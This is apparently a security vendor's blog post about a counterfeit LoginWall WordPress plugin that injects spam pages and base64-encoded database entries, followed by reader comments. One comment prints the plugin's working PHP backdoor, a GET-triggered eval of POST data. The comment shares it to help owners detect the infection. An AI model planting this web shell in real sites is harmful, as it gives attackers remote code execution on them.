When you work with malware for a while, you start to become very good at pattern recognition. A couple sites in every hundred cleaned might be infected in a similar way, so remembering earlier problems helps to quickly solve the problem for the current site. You might not know exactly why something seems fishy at first, but you follow your instinct because something gnaws at you. Eventually, you start to see a pattern.
In the last couple of weeks we’ve noticed such a pattern when a bunch of websites were contaminated with malware from an infected plugin posing as a valid one called LoginWall.
The legitimate version of LoginWall is a SaaS-based solution that protects against brute force attacks for WordPress-based sites. LoginWall also doubles as a simple, but strong, password authentication tool for the admin account without using hardware tools. In short, it’s a nice plugin… as long as you’ve got the valid one.
How Do You Know If the Plugin is Valid?
First, remember that you should only trust plugins that are hosted within WordPress or directly from the author’s page. We wrote about this last month, but it’s important to keep hammering the point home.
Now, with this plugin it’s important to understand that we can’t simply trust the name presented in your /wp-admin plugin dashboard. As you can see, it looks almost the same as the original.
The next big difference between the original plugin and the malicious version is the folder name. The hacker made them similar, but it’s easy to spot the difference as long as you’re looking at the naming conventions side by side:
Here’s the original version:
/wp-content/plugins/loginwall-for-wp-beta/
And here’s the malicious version:
/wp-content/plugins/LoginWall-XyXYXY/
But What Does This Malicious Plugin Do?
The basic version of the fake plugin won’t change anything in your site’s content so you won’t get a hacked message or distribute malware. Instead, it will download spammy pages from remote locations and store them under LoginWall-XyXYXY/assets/. Those pages are crafted by mixing your site content and the spammy content to make the spam look more legitimate with the main goal to increase links and visits to other sites to make money.
That’s the basic version of the fake LoginWall plugin. However, we also found another version of the malicious content that embedded itself directly in the WordPress database. This new version is even trickier to spot because part of it is encoded in base64.
If you want to check for this hack then you’ll need to go to your database and view your wp_options table. Check every entry that has the autoload option and if you see entries like the following code, the malware payload has infected your site:
There are also some other encoded entries. To get rid of these entries, first make a backup of the database (better safe than sorry) and then remove those records.
Conclusion
It is important to understand that all unprotected websites can be hacked. The key for site owners is to be aware of this and then to put tools in place to quickly identify when a site has been compromised. For instance, if the site that we just cleaned had been using our free plugin, its owner would have received a notice immediately alerting her to the website trouble.
Catching this at the moment it happens allows a website owner to take immediate action, including changing all passwords and removing the malicious plugin. It also keeps Google (and other search engines) from potentially blacklisting a domain and affecting customer trust in that domain or brand.
Victor Santoyo
Michael Evert
Rianna MacLeod
Denis Sinegubko
Northon Torga
Tony Perez
Luke Leal
Antony Garand
10 comments
Just a note, actually such “added” spammy sections on your site may result in Google marking your sites as “may be hacked” in search results. So don’t forget to regularly check your site search results in Google and look through reports in Google Webmaster Tools where you may notice suspicious search requests and indexed pages.
I’ve also found some base64 encodings in index.php in doc root, FYI for anyone who may be trying to clean this up.
“Eventually, you start to see the pattern.” or go crazy.
A customer got hacked with the “Christian-Loboutin” spam links being displayed to Google by the site’s default index page. This was NOT a wordpress site. It was an IIS server. Cleaned once, along with new passwords on all accounts (domain, host, ftp, email) associated with the site. A week later the code was again injected into the index page. In addition, amazingly, the hacker registered themselves with Google webmaster tools, loaded Google’s identification file, and Google approved them as an official webmaster of the site! Cleaned all that again, and scolded Google for participating in the hack job. The client did have some very old FrontPage files on their host, so that was removed. Safe for 2 months.
Thanks for this, which allowed me to confirm that the random new plugin was, in fact, likely a hack. I didn’t find any /assets, nor any weirdness in files or in the database on my quick review, though. Although I *did* find a couple odd IP addresses on the ‘remote database access’ list in cpanel, which of course I removed. It’s the second time I’ve seen something like that and just wanted to let people know to check that. I’m not quite sure how they’re connected, but hopefully bring WP up-to-date, changing passwords, etc. will help prevent it from recurring.
Great, now it would be nice if Securi would detect this in a scan….
Hi Tony
Are you experiencing this now? This is one of those infections that requires a server side scan, remote scanners would never pick it up. If you’re a customer and enable server-side scanning it’ll definitely pick it up.. Remote scanners can only see what is displayed on the client…
Thanks
I signed in to Google Webmaster Tools and noticed a long list of suspicious search requests. Looked further and this plugin is showing on WordPress. Would anyone be able to help me with this? Thank you!
you didnt mention what is in one of those files – nasty backdoor
here is code of this backdoor so you can find it.
if($_GET[“login”]==”cmd”){
if($_POST[‘coco123’]==”){
echo(‘->|OK|-<');
exit();
}
eval($_POST['coco123']);
exit();}
(its one-line code in the plugin. i just added endlines so it looks more clear)
what it does, if random bot will ask site if it has its plugin (/wp-login?login=cmd) it will display plain "OK" – signal site has that crap. if you know that, than you can execute remotely ANY PHP code. any means it can 1 command wipe whole your database, all of on-site backups, for poorly administrated linux of unaware user, or worse apache running as root, it can easly destroy whole system. just because somebody installed that crap.
Does anyone know how this actually gets onto to server? Yesterday I installed a brand new installation of WordPress, and I hardened it per the wordpress codex. I installed it using WP-CLI on Ubuntu using the command line via ssh. I came back the next day to find a new plugin had been installed, this one. No one has had access to the server except for me and I didn’t download or install any updates since installing WP core. How could this have happened?
Comments are closed.